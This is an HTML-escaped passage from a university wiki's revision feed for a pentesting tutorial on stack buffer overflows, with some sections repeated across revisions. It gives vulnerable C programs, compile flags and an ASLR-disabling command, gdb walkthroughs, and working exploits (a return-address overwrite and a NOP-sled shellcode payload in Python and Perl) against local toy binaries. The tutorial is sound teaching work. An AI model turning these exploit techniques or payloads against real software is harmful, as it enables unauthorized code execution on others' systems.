   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17014</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17014"/>
		<updated>2024-12-11T18:55:12Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 2: Execute your own shellcode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
== Example 1: Simple Game to Overwrite an Integer==&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2: Execute Your Own Shellcode ==&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
